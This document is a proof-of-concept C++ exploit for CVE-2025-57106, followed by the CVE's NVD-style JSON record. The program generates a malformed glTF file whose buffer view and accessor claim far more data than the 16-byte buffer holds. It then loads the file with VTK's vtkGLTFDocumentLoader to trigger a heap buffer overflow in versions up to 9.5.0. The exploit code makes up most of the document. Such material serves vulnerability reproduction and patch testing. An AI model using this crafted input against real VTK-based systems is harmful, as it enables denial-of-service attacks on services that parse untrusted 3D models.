CVE-2025-57106

#include <vtkSmartPointer.h> #include <vtkGLTFDocumentLoader.h> #include <vtkActor.h> #include <vtkRenderer.h> #include <vtkRenderWindow.h> #include <fstream> #include <nlohmann/json.hpp> using json = nlohmann::json; void createMaliciousGLTF(const std::string& filename) { // Create a malicious GLTF file with invalid accessor parameters json gltf; gltf["asset"]["version"] = "2.0"; gltf["asset"]["generator"] = "Malicious GLTF Generator"; // Create buffer with minimal data std::vector<char> buffer(16, 0); gltf["buffers"] = json::array(); gltf["buffers"].push_back({ {"byteLength", buffer.size()} }); // Create bufferView with invalid length gltf["bufferViews"] = json::array(); gltf["bufferViews"].push_back({ {"buffer", 0}, {"byteOffset", 0}, {"byteLength", 1000} // Exceeds buffer size }); // Create accessor with malicious parameters gltf["accessors"] = json::array(); gltf["accessors"].push_back({ {"bufferView", 0}, {"componentType", 5126}, // FLOAT {"count", 100}, // Request 100 floats {"type", "VEC3"}, // but declare as vec3 {"byteOffset", 0} }); // Write binary buffer std::ofstream binFile(filename + ".bin", std::ios::binary); binFile.write(buffer.data(), buffer.size()); binFile.close(); // Write GLTF JSON std::ofstream gltfFile(filename + ".gltf"); gltfFile << gltf.dump(2); gltfFile.close(); } int main() { // Generate malicious GLTF file std::string maliciousFile = "malicious_model"; createMaliciousGLTF(maliciousFile); // Load the malicious file with VTK vtkSmartPointer<vtkGLTFDocumentLoader> loader = vtkSmartPointer<vtkGLTFDocumentLoader>::New(); loader->SetFileName(maliciousFile.c_str()); loader->Update(); return 0; }

{"cve": {"id": "CVE-2025-57106", "sourceIdentifier": "[email protected]", "published": "2025-10-31T15:15:42.317", "lastModified": "2025-11-05T19:44:07.573", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kitware VTK (Visualization Toolkit) up to 9.5.0 is vulnerable to Buffer Overflow in vtkGLTFDocumentLoader. The vulnerability occurs in the BufferDataExtractionWorker template function when processing GLTF accessor data."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vtk:vtk:*:*:*:*:*:*:*:*", "versionEndIncluding": "9.5.0", "matchCriteriaId": "4FACF42A-92AA-4011-9219-A8F328C6FF63"}]}]}], "references": [{"url": "https://gitlab.kitware.com/vtk/vtk/-/issues/19733", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://gitlab.kitware.com/vtk/vtk/-/issues/19734", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}